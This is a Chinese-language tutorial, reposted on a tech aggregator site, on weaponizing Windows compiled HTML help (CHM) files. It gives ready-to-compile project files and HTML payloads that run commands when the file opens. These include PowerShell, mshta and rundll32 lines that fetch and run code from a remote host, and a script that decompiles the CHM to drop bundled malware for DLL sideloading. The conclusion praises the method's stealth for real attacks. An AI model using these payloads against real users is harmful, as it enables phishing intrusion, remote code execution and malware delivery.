IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> CHM攻击利用指北 -> 正文阅读

[大数据]CHM攻击利用指北

简介

"Compiled Help (or HTML) Manual"简称chm,即“已编译的帮助文件”,是由微软开发文档格式,可以被认为是一种类似于RAR等压缩打包的文件格式(可以使用7z等压缩软件直接打开), 可以包含html、图片、脚本语言以及其他文件。

当攻击者恶意利用此文件时,通常会在CHM文件内包含恶意脚本和文件,用户打开chm时便会触发恶意代码执行。著名恶意渗透框架如nishang等都支持生成CHM的恶意恶意利用。本文介绍了如何手动制作CHM,并梳理了常见的攻击利用方式。

手动制作CHM文件

chm文件由一系列html文件编译在一起,形成帮助文档,主要依靠一些配置文件来组织CHM的文件结构。

步骤1 定义HTML help project (.hhp)配置文件

hhp文件是在编译时用到的主要文件。其中定义了主页、chm文件名、标题,以及包含的文件等一系列信息。

1[OPTIONS]?
2Compatibility=1.1?or?later
3Compiled?file=PocCalc.chm?????????????????//?指定生成的CHM文件名
4Contents?file=Table?of?Contents.hhc???????//?指定hhc文件
5Index?file=Index.hhk??????????????????????//?指定hhk文件
6Default?topic=poc.html????????????????????//?指定首页的html文件名
7Title=PocCalc?????????????????????????????//?标题
8Display?compile?progress=No
9Language=0x410?Italian?(Italy)
10Full-text?search=Yes????????????????
11
12[FILES]?
13poc.html??????????????????????????????????//?需要编译打包进CHM的文件
14GoogleUpdate.exe?
15goopdate.dll
16
17[INFOTYPES]

步骤2 编写html源码文件

HTML格式源码文件用来存储CHM当中的文本内容,管理组织图片, 按钮,快捷方式等呈现方式。当被攻击者利用时,常常会通过ShortCut的方式添加恶意命令,在Item1的Value中指定需要运行的进程和参数。

如下是一个通过CMD启动计算器的样例。

1<!DOCTYPE?html>
2<html>
3<head><title>calc?poc</title><head></head><body>
4command?exec
5<OBJECT?id=x?classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"?width=1?height=1>
6<PARAM?name="Command"?value="ShortCut">
7<PARAM?name="Button"?value="Bitmap::shortcut">
8<PARAM?name="Item1"?value=',cmd?/c,?Calc'>
9<PARAM?name="Item2"?value="273,1,1">
10</OBJECT>
11<SCRIPT>
12x.Click();
13</SCRIPT>
14</body></html>

步骤3 定义hhk文件

hhk文件是html格式的文件,用于保存CHM中关键字索引目录的内容, 在<BODY>标签中以列举所有需要嵌入到chm文件中的附件文件对象,对象包含对象名Name和编译对象所在路径Local两个参数,设置的对象会在编译的时候编译到chm文件中。

1<!DOCTYPE?HTML?PUBLIC?"-//IETF//DTD?HTML//EN">
2<HTML>?
3???<HEAD>?
4???<meta?name="GENERATOR"?content="Microsoft??HTML?Help?Workshop?4.1">
5???<!--?Sitemap?1.0?-->?
6???</HEAD>
7???<BODY>?
8???<UL>?
9???<LI><OBJECT?type="text/sitemap">
10???????<param?name="Name"?value="GoogleUpdate">
11???????<param?name="Local"?value="GoogleUpdate.exe">
12???????</OBJECT>?
13???<LI><OBJECT?type="text/sitemap">
14???????<param?name="Name"?value="goopdate">
15???????<param?name="Local"?value="goopdate.dll">
16???????</OBJECT>
17???</UL>
18???</BODY>
19</HTML>

步骤4 定义hhc文件

hhc文件也是html格式的文件,在hhc文件中,用<UL>和<LI>两个标签定义了带有层级关系中列表,并在其中以<OBJECT>的形式嵌入了html页面对象。利用列表的层级关系,构造了最终chm文件的层级关系。

第一个sitemap对象中包含的html文件将作为首页展示,其中的恶意代码将自动加载执行。

1<!DOCTYPE?HTML?PUBLIC?"-//IETF//DTD?HTML//EN">?
2<HTML>?
3????<HEAD>?
4????????<meta?name="GENERATOR"?content="Microsoft??HTML?Help?Workshop?4.1">?
5????????<!--?Sitemap?1.0?-->?
6????</HEAD>?
7????<BODY>?
8????????<OBJECT?type="text/site?properties">
9????????????<param?name="ImageType"?value="Folder">
10????????</OBJECT>?
11????????<UL>
12????????????<LI>?<OBJECT?type="text/sitemap">
13????????????????<param?name="Name"?value="Notice">
14????????????????<param?name="Local"?value="poc.html">
15????????????????<param?name="ImageNumber"?value="1">
16????????????????</OBJECT>
17?????????</UL>
18?????</BODY>
19</HTML>

步骤5 使用HHC.exe 编译

最后我们就可以使用hhc.exe将以上文件编译打包成.chm文档。

命令格式:hhc.exe <hhp文件路径>

反编译

当安全分析人员需要对CHM文档进行逆向分析的时,可以使用windows系统自带的hh.exe 对CHM文件进行反编译(常见路径C:\Windows\hh.exe,C:\Windows\SysWOW64\hh.exe)。但攻击者同样也会利用该工具释放自身CHM文件包含的恶意程序样本,该方式常常被利用来释放白加黑文件。

命令格式:

HH.EXE ?-decompile <输出路径> <目标chm文件>

反编译后的7-zip.chm帮助文件。

常见攻击利用方式

1 利用hhctrl.ocx对象命令执行

攻击者可以在html源码文件中嵌入hhctrl.ocx对象来执行命令,ShortCut类型可以接受在Item中填写程序地址,并传递参数给他(不支持如%WINDIR%等环境变量)传递的Value将分割两次“,”获取程序名和参数并调用Shell32.dll的导出函数ShellExecuteA创建进程。

[相关MSDN资料]

https://docs.microsoft.com/en-us/previous-versions/windows/desktop/htmlhelp/to-insert-the-html-help-activex-control-in-your-html-file

https://docs.microsoft.com/en-us/previous-versions/windows/desktop/htmlhelp/shortcut

https://docs.microsoft.com/en-us/previous-versions/windows/desktop/htmlhelp/item-parameter

如当打开或点击左侧标题时就会执行powershell一句话命令。

1<!DOCTYPE?html><html><head><title>Mousejack?replay</title><head></head><body>
2command?exec?
3<OBJECT?id=x?classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"?width=1?height=1>
4<PARAM?name="Command"?value="ShortCut">
5?<PARAM?name="Button"?value="Bitmap::shortcut">
6?<PARAM?name="Item1"?value=',powershell.exe,?-nop?-w?hidden?-c?IEX?((new-object?net.webclient).downloadstring("http://xx.xx.xx.xx"))'>
7?<PARAM?name="Item2"?value="273,1,1">
8</OBJECT>
9<SCRIPT>
10x.Click();
11</SCRIPT>
12</body></html>

?

通过mshta运行远程hta。

1<OBJECT?id=poc?classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"?width=1?height=1>
2????<PARAM?name="Command"?value="ShortCut">
3????<PARAM?name="Button"?value="Bitmap::shortcut">
4????<PARAM?name="Item1"?value=",mshta,http://x.x.x.x/loader.hta";>
5????<PARAM?name="Item2"?value="273,1,1">
6</OBJECT>
7<SCRIPT>
8????poc.Click();
9</SCRIPT>

通过rundll32运行JS代码。

1<!DOCTYPE?html><html><head><title>Mousejack?replay</title><head></head><body>
2command?exec?
3<OBJECT?id=x?classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"?width=1?height=1>
4<PARAM?name="Command"?value="ShortCut">
5?<PARAM?name="Button"?value="Bitmap::shortcut">
6?<PARAM?name="Item1"?value=',rundll32.exe,?javascript:"\..\mshtml,RunHTMLApplication?";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://xx.xx.xx.xx",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd?/c?taskkill?/f?/im?rundll32.exe",0,true);}'>
7?<PARAM?name="Item2"?value="273,1,1">
8</OBJECT>
9<SCRIPT>
10x.Click();
11</SCRIPT>
12</body></html>

2 释放文件并执行

另一类攻击方式是通过使用CHM打包文件特性,将恶意文件一起打包到CHM文件中,投递给受害者,当受害者双击打开时,恶意CHM就会调用hh.exe -decompile反编译自身,释放包含其中的恶意文件并运行。该方式不需要创建网络连接二次拉取payload,隐蔽性和可利用性较高。

获得当前CHM文件路径,创建用于命令执行的document对象,拼接当前chm文件路径到hh.exe 的参数中反编译释放当前chm文件。

1<SCRIPT>
2function?getPath(){?
3????var?pathName?=?document.location.pathname;
4????var?index0?=?pathName.substr(1).indexOf(":");
5????var?index1?=?pathName.substr(1).lastIndexOf(":");
6????var?result?=?pathName.substr(index0+2,index1-index0-2);
7????return?result;?
8}
9
10var?dir?=?getPath();
11
12var?commodStr?=?'<OBJECT?id=x?classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"?width=1?height=1>'?+?'<PARAM?name="Command"?value="ShortCut">'?+?'<PARAM?name="Button"?value="Bitmap::shortcut">'?+?'<PARAM?name="Item1"?value=",hh,?-decompile?C:\\Windows\\Temp\\Downloads\\?'?+?dir?+?'">';
13document.getElementById('t0').innerHTML?=?commodStr;
14x.Click();
15</SCRIPT>

函数getPath()用于获取当前chm所在的绝对路径

定义一个Object,前两个参数为固定格式:id和classid,在第三个参数中构造要执行的命令

获取上面定义的容器对象,通过赋值给innerHTML对象实现

document.getElementById('id').innerHTML = commandStr;

上面语句中的id是在html中定义的<div>分区的id

触发执行 x.Click()

3 ActiveXObject

比起前两种方式好处是可以直接执行VBS代码或JScript代码调用ActiveXObject对象,可以使用脚本代码实现后续攻击行为。但运行时会告警目标是否启用ActiveX对象, 需要目标点击二次点击确认。

?

总结

CHM文档作为windows下常见的文档类型,总体的隐蔽性和实战价值都比较高。攻击利用时可以通过命令执行达到一句话上线,或通过二次拉取下发等方式进行云控,也可利用hh.exe -decompile反编译自身释放白加黑文件直接上线。如果目标安全警惕性较低,可以通过ActiveX对象运行恶意代码。更多关于CHM的攻击利用方法及武器化实现值得安全攻防人员关注。

?

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2021-09-29 10:21:27  更:2021-09-29 10:23:28 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 13:57:58-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码